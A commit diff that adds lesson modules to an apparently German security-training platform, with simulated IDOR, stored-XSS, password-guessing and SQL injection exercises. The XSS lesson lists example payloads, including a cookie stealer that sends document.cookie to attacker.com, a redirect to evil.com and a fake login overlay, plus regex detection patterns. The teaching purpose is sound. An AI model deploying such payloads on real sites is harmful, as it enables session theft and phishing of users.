Add lessons
This commit is contained in:
@@ -183,20 +183,20 @@ class LessonModule {
|
||||
/**
|
||||
* Get lesson content for rendering (without answers)
|
||||
*/
|
||||
getContent() {
|
||||
return {
|
||||
lessonKey: this.lessonKey,
|
||||
title: this.config.title,
|
||||
description: this.config.description,
|
||||
difficultyLevel: this.config.difficultyLevel,
|
||||
estimatedDuration: this.config.estimatedDuration,
|
||||
steps: this.config.steps.map(step => ({
|
||||
async getContent() {
|
||||
// Map steps and fetch interactive data for interactive steps
|
||||
const steps = await Promise.all(this.config.steps.map(async step => {
|
||||
const baseStep = {
|
||||
id: step.id,
|
||||
type: step.type,
|
||||
title: step.title,
|
||||
content: step.content,
|
||||
// For question steps, don't send correct answers
|
||||
...(step.type === 'question' && {
|
||||
content: step.content
|
||||
};
|
||||
|
||||
// For question steps, don't send correct answers
|
||||
if (step.type === 'question') {
|
||||
return {
|
||||
...baseStep,
|
||||
questionType: step.questionType,
|
||||
question: step.question,
|
||||
maxPoints: step.maxPoints,
|
||||
@@ -205,13 +205,30 @@ class LessonModule {
|
||||
text: opt.text
|
||||
// isCorrect and points are intentionally omitted
|
||||
}))
|
||||
}),
|
||||
// For interactive steps, send component info
|
||||
...(step.type === 'interactive' && {
|
||||
};
|
||||
}
|
||||
|
||||
// For interactive steps, fetch and include interactive data
|
||||
if (step.type === 'interactive') {
|
||||
const interactiveData = await this.getInteractiveData(step.id);
|
||||
return {
|
||||
...baseStep,
|
||||
interactiveComponent: step.interactiveComponent,
|
||||
componentProps: step.componentProps
|
||||
})
|
||||
})),
|
||||
componentProps: step.componentProps,
|
||||
interactiveData
|
||||
};
|
||||
}
|
||||
|
||||
return baseStep;
|
||||
}));
|
||||
|
||||
return {
|
||||
lessonKey: this.lessonKey,
|
||||
title: this.config.title,
|
||||
description: this.config.description,
|
||||
difficultyLevel: this.config.difficultyLevel,
|
||||
estimatedDuration: this.config.estimatedDuration,
|
||||
steps,
|
||||
scoring: {
|
||||
maxTotalPoints: this.config.scoring?.maxTotalPoints || 100,
|
||||
passingScore: this.config.scoring?.passingScore || 70
|
||||
@@ -219,6 +236,44 @@ class LessonModule {
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Award points for interactive component discoveries
|
||||
* This method can be called by lesson modules to award points dynamically
|
||||
* @param {number} participantId - Participant ID
|
||||
* @param {number} eventLessonId - Event lesson ID
|
||||
* @param {number} points - Points to award
|
||||
* @param {string} reason - Reason for points (for tracking)
|
||||
* @returns {Promise<number>} New total score
|
||||
*/
|
||||
async awardPoints(participantId, eventLessonId, points, reason) {
|
||||
const progressQueries = require('../../src/models/queries/progress.queries');
|
||||
|
||||
// Get or create progress
|
||||
let progress = await progressQueries.getLessonProgress(participantId, eventLessonId);
|
||||
|
||||
if (!progress) {
|
||||
// Auto-start lesson if not started
|
||||
progress = await progressQueries.startLesson(participantId, eventLessonId);
|
||||
}
|
||||
|
||||
// Award points
|
||||
const newScore = await progressQueries.updateScore(progress.id, points);
|
||||
|
||||
// Optionally save the discovery reason for tracking
|
||||
if (reason) {
|
||||
await progressQueries.saveAnswer(
|
||||
progress.id,
|
||||
`interactive-${Date.now()}`,
|
||||
{ type: 'interactive', reason },
|
||||
true,
|
||||
points,
|
||||
reason
|
||||
);
|
||||
}
|
||||
|
||||
return newScore;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get full configuration (for debugging/admin)
|
||||
*/
|
||||
|
||||
@@ -0,0 +1,259 @@
|
||||
const LessonModule = require('../base/LessonModule');
|
||||
|
||||
/**
|
||||
* IDOR (Insecure Direct Object Reference) Demo Lesson
|
||||
* Demonstrates how URL parameter manipulation can expose other users' data
|
||||
*/
|
||||
class IDORDemoLesson extends LessonModule {
|
||||
constructor(config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get mock user database
|
||||
* @returns {Array} Mock user data
|
||||
*/
|
||||
getMockUsers() {
|
||||
return [
|
||||
{
|
||||
id: 1,
|
||||
name: 'System Administrator',
|
||||
email: 'admin@securebank.example',
|
||||
accountBalance: '$999,999.99',
|
||||
accountNumber: '****0001',
|
||||
lastLogin: '2026-02-08 10:00',
|
||||
address: '1 Admin Tower, Capital City, USA',
|
||||
phone: '(555) 000-0001',
|
||||
isCurrentUser: false,
|
||||
accountType: 'Administrative Account',
|
||||
isHighValue: true,
|
||||
adminAccess: true,
|
||||
isEasterEgg: true,
|
||||
easterEggType: 'admin',
|
||||
bonusPoints: 25,
|
||||
easterEggMessage: '🎯 Admin Account Found! You discovered the system administrator account.'
|
||||
},
|
||||
{
|
||||
id: 42,
|
||||
name: 'Douglas Adams',
|
||||
email: 'dont.panic@example.com',
|
||||
accountBalance: '$42,000,000.00',
|
||||
accountNumber: '****4242',
|
||||
lastLogin: '2026-02-07 16:45',
|
||||
address: '42 Galaxy Street, Universe, Space',
|
||||
phone: '(555) 424-2424',
|
||||
isCurrentUser: false,
|
||||
accountType: 'Millionaire Account',
|
||||
isHighValue: true,
|
||||
isEasterEgg: true,
|
||||
easterEggType: 'millionaire',
|
||||
bonusPoints: 20,
|
||||
easterEggMessage: '💰 Millionaire Discovered! The answer to life, universe, and everything.'
|
||||
},
|
||||
{
|
||||
id: 54,
|
||||
name: 'Jane Smith',
|
||||
email: 'jane.smith@example.com',
|
||||
accountBalance: '$45,890.50',
|
||||
accountNumber: '****5454',
|
||||
lastLogin: '2026-02-08 08:30',
|
||||
address: '456 Oak Avenue, Springfield, USA',
|
||||
phone: '(555) 234-5678',
|
||||
isCurrentUser: false,
|
||||
accountType: 'Premium Savings',
|
||||
securityLevel: 'high',
|
||||
isNeighbor: true,
|
||||
bonusPoints: 10
|
||||
},
|
||||
{
|
||||
id: 55,
|
||||
name: 'Max Mustermann',
|
||||
email: 'max.mustermann@example.com',
|
||||
accountBalance: '$2,340.75',
|
||||
accountNumber: '****5555',
|
||||
lastLogin: '2026-02-08 09:15',
|
||||
address: '123 Main Street, Anytown, USA',
|
||||
phone: '(555) 123-4567',
|
||||
isCurrentUser: true,
|
||||
accountType: 'Standard Checking'
|
||||
},
|
||||
{
|
||||
id: 56,
|
||||
name: 'Lisa Wagner',
|
||||
email: 'lisa.w@example.com',
|
||||
accountBalance: '$18,250.00',
|
||||
accountNumber: '****5656',
|
||||
lastLogin: '2026-02-08 07:45',
|
||||
address: '789 Pine Road, Neighborhood, USA',
|
||||
phone: '(555) 567-8901',
|
||||
isCurrentUser: false,
|
||||
accountType: 'Business Checking',
|
||||
isNeighbor: true,
|
||||
bonusPoints: 10
|
||||
},
|
||||
{
|
||||
id: 67,
|
||||
name: '¯\\_(ツ)_/¯',
|
||||
email: 'mystery@example.com',
|
||||
accountBalance: '$6,700.00',
|
||||
accountNumber: '****6767',
|
||||
lastLogin: '2026-01-01 00:00',
|
||||
address: '¯\\_(ツ)_/¯',
|
||||
phone: '¯\\_(ツ)_/¯',
|
||||
isCurrentUser: false,
|
||||
accountType: 'Mystery Account',
|
||||
isEasterEgg: true,
|
||||
easterEggType: 'shrug',
|
||||
bonusPoints: 15,
|
||||
easterEggMessage: '¯\\_(ツ)_/¯'
|
||||
},
|
||||
{
|
||||
id: 100,
|
||||
name: 'Diana Prince',
|
||||
email: 'diana.p@example.com',
|
||||
accountBalance: '$125,000.00',
|
||||
accountNumber: '****1000',
|
||||
lastLogin: '2026-02-08 07:00',
|
||||
address: '100 Hero Boulevard, Metro City, USA',
|
||||
phone: '(555) 100-0001',
|
||||
isCurrentUser: false,
|
||||
accountType: 'Premium Investment',
|
||||
securityLevel: 'maximum'
|
||||
}
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Fetch user profile by ID (vulnerable simulation)
|
||||
* Called via executeLessonAction endpoint
|
||||
* @param {number} userId - User ID to fetch
|
||||
* @returns {Object} User profile data or error
|
||||
*/
|
||||
async fetchUserProfile(userId, participantId, eventLessonId) {
|
||||
const users = this.getMockUsers();
|
||||
const requestedId = parseInt(userId);
|
||||
|
||||
// Find user
|
||||
const user = users.find(u => u.id === requestedId);
|
||||
|
||||
if (!user) {
|
||||
return {
|
||||
success: false,
|
||||
error: 'USER_NOT_FOUND',
|
||||
message: 'Benutzer nicht gefunden',
|
||||
statusCode: 404
|
||||
};
|
||||
}
|
||||
|
||||
// Detect unauthorized access
|
||||
const isUnauthorized = !user.isCurrentUser;
|
||||
|
||||
// Award points for discoveries
|
||||
let pointsAwarded = 0;
|
||||
let discoveryMessage = null;
|
||||
|
||||
if (isUnauthorized && participantId && eventLessonId) {
|
||||
// Award points for any IDOR discovery
|
||||
pointsAwarded = 10;
|
||||
|
||||
// Check for easter eggs and award bonus points
|
||||
if (user.isEasterEgg) {
|
||||
pointsAwarded += user.bonusPoints;
|
||||
discoveryMessage = user.easterEggMessage;
|
||||
} else if (user.isNeighbor) {
|
||||
pointsAwarded += user.bonusPoints;
|
||||
}
|
||||
|
||||
// Award points (don't duplicate if same user accessed multiple times)
|
||||
try {
|
||||
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
|
||||
`IDOR discovered: User ${requestedId}`);
|
||||
} catch (error) {
|
||||
console.error('Failed to award IDOR points:', error);
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
success: true,
|
||||
user: {
|
||||
id: user.id,
|
||||
name: user.name,
|
||||
email: user.email,
|
||||
accountBalance: user.accountBalance,
|
||||
accountNumber: user.accountNumber,
|
||||
lastLogin: user.lastLogin,
|
||||
address: user.address,
|
||||
phone: user.phone,
|
||||
accountType: user.accountType,
|
||||
...(user.isHighValue && { isHighValue: true }),
|
||||
...(user.adminAccess && { adminAccess: true }),
|
||||
...(user.securityLevel && { securityLevel: user.securityLevel })
|
||||
},
|
||||
isCurrentUser: user.isCurrentUser,
|
||||
isUnauthorized,
|
||||
pointsAwarded: pointsAwarded > 0 ? pointsAwarded : undefined,
|
||||
easterEgg: user.isEasterEgg ? {
|
||||
type: user.easterEggType,
|
||||
message: discoveryMessage
|
||||
} : undefined,
|
||||
vulnerability: isUnauthorized ? {
|
||||
type: 'IDOR',
|
||||
severity: user.isHighValue || user.adminAccess ? 'CRITICAL' : 'HIGH',
|
||||
description: '⚠️ IDOR-Schwachstelle entdeckt!',
|
||||
message: `Sie sehen ${user.name}s private Daten ohne Berechtigung!`,
|
||||
impact: 'Ein Angreifer kann auf sensible Informationen eines beliebigen Benutzers zugreifen, indem er einfach den userId-Parameter in der URL ändert.',
|
||||
recommendation: 'Implementieren Sie ordnungsgemäße Autorisierungsprüfungen. Überprüfen Sie, ob der authentifizierte Benutzer die Berechtigung hat, auf die angeforderte Ressource zuzugreifen.',
|
||||
cve: user.isHighValue ? 'Dies ist eine kritische Schwachstelle - Admin-/Hochwertkonto aufgerufen!' : null
|
||||
} : null
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Get interactive data for IDOR demo step
|
||||
* @param {string} stepId - Step identifier
|
||||
* @returns {Object} Interactive component data
|
||||
*/
|
||||
async getInteractiveData(stepId) {
|
||||
if (stepId === 'idor-demo') {
|
||||
return {
|
||||
baseUrl: 'https://securebank.example/profile',
|
||||
currentUserId: 55,
|
||||
vulnerableParameter: 'userId',
|
||||
easterEggs: [
|
||||
{ id: 1, type: 'admin', found: false },
|
||||
{ id: 42, type: 'millionaire', found: false },
|
||||
{ id: 67, type: 'shrug', found: false },
|
||||
{ id: 54, type: 'neighbor', found: false },
|
||||
{ id: 56, type: 'neighbor', found: false }
|
||||
],
|
||||
secureApproach: {
|
||||
title: 'Sichere Implementierung',
|
||||
description: 'Anstelle von URL-Parametern, verwenden Sie sitzungsbasierte Authentifizierung',
|
||||
example: 'GET /profile (gibt nur die Daten des authentifizierten Benutzers zurück)',
|
||||
code: `
|
||||
// Anfällig (IDOR):
|
||||
app.get('/profile', (req, res) => {
|
||||
const userId = req.query.userId; // ❌ Jeder kann dies ändern!
|
||||
const user = db.getUserById(userId);
|
||||
res.json(user);
|
||||
});
|
||||
|
||||
// Sicher (Sitzungsbasiert):
|
||||
app.get('/profile', authenticate, (req, res) => {
|
||||
const userId = req.session.userId; // ✅ Aus verifizierter Sitzung
|
||||
if (req.params.userId && req.params.userId !== userId) {
|
||||
return res.status(403).json({ error: 'Forbidden' });
|
||||
}
|
||||
const user = db.getUserById(userId);
|
||||
res.json(user);
|
||||
});
|
||||
`.trim()
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return await super.getInteractiveData(stepId);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = IDORDemoLesson;
|
||||
@@ -0,0 +1,236 @@
|
||||
const LessonModule = require('../base/LessonModule');
|
||||
|
||||
/**
|
||||
* Forum Script Injection Lesson
|
||||
* Demonstrates stored XSS vulnerabilities in comment systems
|
||||
*/
|
||||
class ForumScriptInjectionLesson extends LessonModule {
|
||||
constructor(config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect script injection in comment content
|
||||
* @param {string} content - Comment content
|
||||
* @returns {boolean} True if script detected
|
||||
*/
|
||||
detectScriptInjection(content) {
|
||||
const patterns = [
|
||||
/<script[\s\S]*?>/gi,
|
||||
/on\w+\s*=/gi,
|
||||
/javascript:/gi,
|
||||
/<iframe/gi,
|
||||
/<object/gi,
|
||||
/<embed/gi,
|
||||
/<svg[^>]+onload/gi,
|
||||
/<img[^>]+onerror/gi
|
||||
];
|
||||
|
||||
return patterns.some(pattern => pattern.test(content));
|
||||
}
|
||||
|
||||
/**
|
||||
* Analyze injection type
|
||||
* @param {string} content - Comment content
|
||||
* @returns {Object} Analysis result
|
||||
*/
|
||||
analyzeInjection(content) {
|
||||
if (/<script[\s\S]*?>/gi.test(content)) {
|
||||
return {
|
||||
type: 'SCRIPT_TAG',
|
||||
severity: 'high',
|
||||
description: 'Script tag injection detected. Can execute arbitrary JavaScript.',
|
||||
example: 'Steals cookies, hijacks sessions, or redirects users.'
|
||||
};
|
||||
}
|
||||
|
||||
if (/on\w+\s*=/gi.test(content)) {
|
||||
return {
|
||||
type: 'EVENT_HANDLER',
|
||||
severity: 'high',
|
||||
description: 'Event handler injection detected. Executes code on user interaction.',
|
||||
example: 'Triggers malicious code when user clicks or hovers.'
|
||||
};
|
||||
}
|
||||
|
||||
if (/javascript:/gi.test(content)) {
|
||||
return {
|
||||
type: 'JAVASCRIPT_PROTOCOL',
|
||||
severity: 'medium',
|
||||
description: 'JavaScript protocol detected. Can execute code when clicked.',
|
||||
example: 'Often used in links to execute JavaScript.'
|
||||
};
|
||||
}
|
||||
|
||||
if (/<iframe/gi.test(content)) {
|
||||
return {
|
||||
type: 'IFRAME',
|
||||
severity: 'high',
|
||||
description: 'IFrame injection detected. Can embed malicious external content.',
|
||||
example: 'Loads phishing pages or malware from external sources.'
|
||||
};
|
||||
}
|
||||
|
||||
if (/<img[^>]+onerror/gi.test(content)) {
|
||||
return {
|
||||
type: 'IMG_ONERROR',
|
||||
severity: 'high',
|
||||
description: 'Image error handler injection detected.',
|
||||
example: 'Always executes when using invalid image source.'
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
type: 'NONE',
|
||||
severity: 'none',
|
||||
description: 'No script injection detected.',
|
||||
example: 'Content appears safe.'
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize comment for display
|
||||
* @param {string} content - Comment content
|
||||
* @returns {string} Sanitized content
|
||||
*/
|
||||
sanitizeComment(content) {
|
||||
return content
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"')
|
||||
.replace(/'/g, ''');
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a comment to the forum (simulated)
|
||||
* Called via executeLessonAction endpoint
|
||||
* @param {string} participantId - Participant identifier
|
||||
* @param {string} author - Comment author name
|
||||
* @param {string} content - Comment content
|
||||
* @param {string} stepId - Step identifier
|
||||
* @param {number} eventLessonId - Event lesson ID for point awards
|
||||
* @returns {Object} Comment data with injection analysis
|
||||
*/
|
||||
async addComment(participantId, author, content, stepId, eventLessonId) {
|
||||
const hasInjection = this.detectScriptInjection(content);
|
||||
const analysis = this.analyzeInjection(content);
|
||||
const sanitized = this.sanitizeComment(content);
|
||||
|
||||
// Award points based on injection type discovered
|
||||
let pointsAwarded = 0;
|
||||
if (hasInjection && participantId && eventLessonId) {
|
||||
const pointsMap = {
|
||||
'SCRIPT_TAG': 40, // Classic script tag
|
||||
'EVENT_HANDLER': 35, // Event handler injection
|
||||
'JAVASCRIPT_PROTOCOL': 25, // JavaScript protocol
|
||||
'IFRAME': 45, // IFrame embedding
|
||||
'IMG_ONERROR': 40, // Image error XSS
|
||||
'NONE': 0
|
||||
};
|
||||
|
||||
pointsAwarded = pointsMap[analysis.type] || 20;
|
||||
|
||||
if (pointsAwarded > 0) {
|
||||
try {
|
||||
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
|
||||
`Stored XSS discovered: ${analysis.type}`);
|
||||
} catch (error) {
|
||||
console.error('Failed to award XSS points:', error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
id: Date.now(),
|
||||
author: author || 'Anonymous',
|
||||
content: content,
|
||||
sanitizedContent: sanitized,
|
||||
timestamp: new Date().toISOString(),
|
||||
hasInjection,
|
||||
injectionType: analysis.type,
|
||||
injectionSeverity: analysis.severity,
|
||||
injectionDescription: analysis.description,
|
||||
injectionExample: analysis.example,
|
||||
pointsAwarded
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Get interactive data for forum demo step
|
||||
* @param {string} stepId - Step identifier
|
||||
* @returns {Object} Interactive component data
|
||||
*/
|
||||
async getInteractiveData(stepId) {
|
||||
if (stepId === 'forum-demo') {
|
||||
return {
|
||||
forumPost: {
|
||||
id: 1,
|
||||
title: 'Welcome to the Security Forum!',
|
||||
author: 'Admin',
|
||||
content: 'This is a demonstration forum for learning about stored XSS vulnerabilities. Feel free to post comments below. Try both safe comments and XSS payloads to see how the system detects them.',
|
||||
timestamp: '2026-02-08T10:00:00Z'
|
||||
},
|
||||
initialComments: [
|
||||
{
|
||||
id: 1,
|
||||
author: 'Alice',
|
||||
content: 'Great post! Looking forward to learning about security.',
|
||||
timestamp: '2026-02-08T10:05:00Z',
|
||||
hasInjection: false
|
||||
},
|
||||
{
|
||||
id: 2,
|
||||
author: 'Bob',
|
||||
content: 'Thanks for sharing this information.',
|
||||
timestamp: '2026-02-08T10:10:00Z',
|
||||
hasInjection: false
|
||||
},
|
||||
{
|
||||
id: 3,
|
||||
author: 'Charlie',
|
||||
content: 'Very informative! Can\'t wait to try the demos.',
|
||||
timestamp: '2026-02-08T10:15:00Z',
|
||||
hasInjection: false
|
||||
}
|
||||
],
|
||||
examplePayloads: [
|
||||
{
|
||||
label: 'Cookie Stealer',
|
||||
author: 'Attacker',
|
||||
payload: '<script>fetch(\'http://attacker.com/steal?c=\'+document.cookie)</script>',
|
||||
description: 'Attempts to steal session cookies'
|
||||
},
|
||||
{
|
||||
label: 'Redirect Attack',
|
||||
author: 'Malicious User',
|
||||
payload: '<script>window.location=\'http://evil.com\'</script>',
|
||||
description: 'Redirects users to malicious site'
|
||||
},
|
||||
{
|
||||
label: 'DOM Manipulation',
|
||||
author: 'Hacker',
|
||||
payload: '<script>document.body.innerHTML=\'<h1>Site Hacked!</h1>\'</script>',
|
||||
description: 'Defaces the website'
|
||||
},
|
||||
{
|
||||
label: 'Image Onerror XSS',
|
||||
author: 'Sneaky',
|
||||
payload: '<img src=x onerror="alert(\'XSS Vulnerability\')">',
|
||||
description: 'Executes code via image error handler'
|
||||
},
|
||||
{
|
||||
label: 'Phishing Overlay',
|
||||
author: 'Phisher',
|
||||
payload: '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form>Password: <input type="password"></form></div>',
|
||||
description: 'Creates fake login overlay'
|
||||
}
|
||||
]
|
||||
};
|
||||
}
|
||||
|
||||
return await super.getInteractiveData(stepId);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = ForumScriptInjectionLesson;
|
||||
@@ -0,0 +1,194 @@
|
||||
const LessonModule = require('../base/LessonModule');
|
||||
|
||||
/**
|
||||
* Social Engineering Password Demo Lesson
|
||||
* Demonstrates how personal information from social media leads to weak passwords
|
||||
*/
|
||||
class SocialEngineeringPasswordLesson extends LessonModule {
|
||||
constructor(config) {
|
||||
super(config);
|
||||
this.correctPassword = 'bella2018';
|
||||
this.attempts = new Map(); // Track attempts per participant
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate password guess
|
||||
* Called via executeLessonAction endpoint
|
||||
* @param {string} participantId - Participant identifier
|
||||
* @param {string} password - Password guess
|
||||
* @param {number} eventLessonId - Event lesson ID for point awards
|
||||
* @returns {Object} Validation result with German feedback
|
||||
*/
|
||||
async testPassword(participantId, password, eventLessonId) {
|
||||
// Initialize attempt counter for this participant
|
||||
if (!this.attempts.has(participantId)) {
|
||||
this.attempts.set(participantId, 0);
|
||||
}
|
||||
|
||||
const attemptCount = this.attempts.get(participantId) + 1;
|
||||
this.attempts.set(participantId, attemptCount);
|
||||
|
||||
// Normalize input (case-insensitive, trim whitespace)
|
||||
const normalizedInput = (password || '').toLowerCase().trim();
|
||||
const isCorrect = normalizedInput === this.correctPassword;
|
||||
|
||||
// Award points for cracking the password
|
||||
let pointsAwarded = 0;
|
||||
if (isCorrect && participantId && eventLessonId) {
|
||||
// Award bonus points based on attempts (fewer attempts = more points)
|
||||
if (attemptCount <= 3) {
|
||||
pointsAwarded = 60; // Expert: found quickly
|
||||
} else if (attemptCount <= 5) {
|
||||
pointsAwarded = 50; // Good: found with minimal hints
|
||||
} else if (attemptCount <= 8) {
|
||||
pointsAwarded = 40; // Average: needed some hints
|
||||
} else {
|
||||
pointsAwarded = 30; // Struggled: needed all hints
|
||||
}
|
||||
|
||||
try {
|
||||
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
|
||||
`Password cracked in ${attemptCount} attempts`);
|
||||
} catch (error) {
|
||||
console.error('Failed to award password points:', error);
|
||||
}
|
||||
}
|
||||
|
||||
// Progressive hints based on attempt count
|
||||
let hint = null;
|
||||
if (!isCorrect) {
|
||||
if (attemptCount >= 8) {
|
||||
hint = 'Tipp: Manche nutzer fügennoch ein Sonderzeichen an ihr schwaches Passwort (.,?,!,_)';
|
||||
} else if (attemptCount >= 5) {
|
||||
hint = 'Tipp: Kombinieren Sie den Namen des Hundes mit der Jahreszahl aus den Posts';
|
||||
} else if (attemptCount >= 3) {
|
||||
hint = 'Tipp: Achten Sie auf persönliche Details in den Social-Media-Posts';
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
success: isCorrect,
|
||||
attemptCount,
|
||||
pointsAwarded,
|
||||
message: isCorrect
|
||||
? 'Passwort korrekt! Sie haben die Schwachstelle erfolgreich identifiziert.'
|
||||
: 'Passwort falsch. Versuchen Sie es erneut.',
|
||||
hint,
|
||||
explanation: isCorrect
|
||||
? 'Das Passwort "bella2018!" kombiniert den Hundenamen (Bella) mit dem Geburtsjahr der Zwillinge (2018). Dies ist ein häufiges und unsicheres Passwort-Muster, da diese Informationen leicht aus Social-Media-Profilen zu finden sind.'
|
||||
: null,
|
||||
securityTip: isCorrect
|
||||
? 'Verwenden Sie niemals persönliche Informationen wie Haustiernamen, Geburtsdaten oder Namen von Familienmitgliedern in Passwörtern. Nutzen Sie stattdessen einen Passwort-Manager mit generierten Zufallspasswörtern.'
|
||||
: null
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset attempts for a participant (when using hint system)
|
||||
* @param {string} participantId - Participant identifier
|
||||
*/
|
||||
resetAttempts(participantId) {
|
||||
this.attempts.delete(participantId);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get interactive data for social media demo step
|
||||
* @param {string} stepId - Step identifier
|
||||
* @returns {Object} Interactive component data
|
||||
*/
|
||||
async getInteractiveData(stepId) {
|
||||
if (stepId === 'social-media-demo') {
|
||||
return {
|
||||
profile: {
|
||||
name: 'Sophia Müller',
|
||||
username: '@sophia.mueller',
|
||||
bio: 'Mutter von Zwillingen 👶👶 | Hundeliebhaberin 🐕 | Fotografin 📸',
|
||||
location: 'München, Deutschland',
|
||||
joined: 'März 2016',
|
||||
profileImage: '👤', // Placeholder emoji
|
||||
followers: 342,
|
||||
following: 198,
|
||||
posts: [
|
||||
{
|
||||
id: 1,
|
||||
type: 'photo',
|
||||
caption: 'Unsere Zwillinge sind heute 6 Jahre alt geworden! 🎂🎉 Die Zeit vergeht so schnell! #2018Babies #Zwillinge #Geburtstag #StolzeMama',
|
||||
imageDescription: '[Foto: Zwei Kinder vor einem Geburtstagskuchen mit "6" Kerzen, Dekoration zeigt "2018"]',
|
||||
date: '2024-09-15',
|
||||
likes: 89,
|
||||
comments: 24,
|
||||
timestamp: 'vor 5 Monaten'
|
||||
},
|
||||
{
|
||||
id: 2,
|
||||
type: 'photo',
|
||||
caption: 'Bella liebt den Herbst! 🍂🐕 Unser Golden Retriever hat so viel Spaß beim Spielen in den Blättern. #BellaTheDog #GoldenRetriever #Herbstspaß #Hundeliebe',
|
||||
imageDescription: '[Foto: Golden Retriever namens Bella spielt in Herbstlaub]',
|
||||
date: '2024-10-12',
|
||||
likes: 156,
|
||||
comments: 31,
|
||||
timestamp: 'vor 4 Monaten'
|
||||
},
|
||||
{
|
||||
id: 3,
|
||||
type: 'text',
|
||||
content: 'Bella ist jetzt seit 8 Jahren meine beste Freundin ❤️🐾 Kann mir ein Leben ohne sie nicht mehr vorstellen!',
|
||||
date: '2023-11-20',
|
||||
likes: 203,
|
||||
comments: 45,
|
||||
timestamp: 'vor 1 Jahr'
|
||||
},
|
||||
{
|
||||
id: 4,
|
||||
type: 'photo',
|
||||
caption: 'Familienausflug zum Starnberger See! ⛵️ Die Zwillinge lieben es hier. Bella auch! 🌊 #FamilyTime #Bayern #Wochenende',
|
||||
imageDescription: '[Foto: Familie am See, zwei Kinder und ein Hund]',
|
||||
date: '2024-07-22',
|
||||
likes: 124,
|
||||
comments: 18,
|
||||
timestamp: 'vor 7 Monaten'
|
||||
},
|
||||
{
|
||||
id: 5,
|
||||
type: 'photo',
|
||||
caption: 'Erster Schultag für Emma und Liam! 📚✏️ Meine Babys werden so groß! #Einschulung #Zwillinge #ProudMom',
|
||||
imageDescription: '[Foto: Zwei Kinder mit Schultüten vor einer Schule]',
|
||||
date: '2024-09-10',
|
||||
likes: 267,
|
||||
comments: 52,
|
||||
timestamp: 'vor 5 Monaten'
|
||||
}
|
||||
]
|
||||
},
|
||||
loginForm: {
|
||||
username: 'sophia.mueller@email.de',
|
||||
correctPassword: 'bella2018!',
|
||||
passwordHint: 'Versuchen Sie, das Passwort aus den Informationen im Profil zu erraten...',
|
||||
hints: [
|
||||
'Achten Sie auf Namen und Jahreszahlen in den Posts',
|
||||
'Viele Menschen verwenden Namen von Haustieren in Passwörtern',
|
||||
'Kombinationen aus Namen und Jahreszahlen sind häufig'
|
||||
]
|
||||
},
|
||||
securityLessons: [
|
||||
{
|
||||
title: 'Offensichtliche Informationen',
|
||||
description: 'Hundename (Bella) und Geburtsjahr der Kinder (2018) sind öffentlich sichtbar'
|
||||
},
|
||||
{
|
||||
title: 'Vorhersagbares Muster',
|
||||
description: 'Name + Jahreszahl ist ein sehr häufiges Passwort-Muster'
|
||||
},
|
||||
{
|
||||
title: 'OSINT Risiko',
|
||||
description: 'Open Source Intelligence (OSINT) ermöglicht das Sammeln solcher Informationen'
|
||||
}
|
||||
]
|
||||
};
|
||||
}
|
||||
|
||||
return await super.getInteractiveData(stepId);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = SocialEngineeringPasswordLesson;
|
||||
@@ -1,10 +1,95 @@
|
||||
const LessonModule = require('../base/LessonModule');
|
||||
const progressQueries = require('../../../src/models/queries/progress.queries');
|
||||
|
||||
/**
|
||||
* Beginner-Friendly SQL Injection Shop Lesson
|
||||
* Simplified to 3 progressive challenges with helpful hints
|
||||
*
|
||||
* Activity data structure:
|
||||
* {
|
||||
* discoveries: ['GENERIC', 'BYPASS_FILTER', 'UNION_SELECT'],
|
||||
* timerStart: timestamp,
|
||||
* unionHintShown: boolean
|
||||
* }
|
||||
*/
|
||||
class SQLInjectionShopLesson extends LessonModule {
|
||||
constructor(config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get activity data from database
|
||||
*/
|
||||
async _getActivityData(participantId, eventLessonId) {
|
||||
try {
|
||||
const data = await progressQueries.getActivityData(participantId, eventLessonId);
|
||||
console.log(`[SQL Injection] Loading activity data for participant ${participantId}, event ${eventLessonId}:`, data);
|
||||
return {
|
||||
discoveries: data.discoveries || [],
|
||||
timerStart: data.timerStart || null,
|
||||
unionHintShown: data.unionHintShown || false
|
||||
};
|
||||
} catch (error) {
|
||||
console.error('[SQL Injection] Error loading activity data:', error);
|
||||
return {
|
||||
discoveries: [],
|
||||
timerStart: null,
|
||||
unionHintShown: false
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Save activity data to database
|
||||
*/
|
||||
async _saveActivityData(participantId, eventLessonId, activityData) {
|
||||
try {
|
||||
console.log(`[SQL Injection] Saving activity data for participant ${participantId}, event ${eventLessonId}:`, activityData);
|
||||
await progressQueries.updateActivityData(participantId, eventLessonId, activityData);
|
||||
console.log('[SQL Injection] Activity data saved successfully');
|
||||
} catch (error) {
|
||||
console.error('[SQL Injection] Error saving activity data:', error);
|
||||
throw error; // Re-throw to see the error in the main flow
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Start challenge timer
|
||||
*/
|
||||
async startTimer(participantId, eventLessonId) {
|
||||
const activityData = await this._getActivityData(participantId, eventLessonId);
|
||||
|
||||
if (!activityData.timerStart) {
|
||||
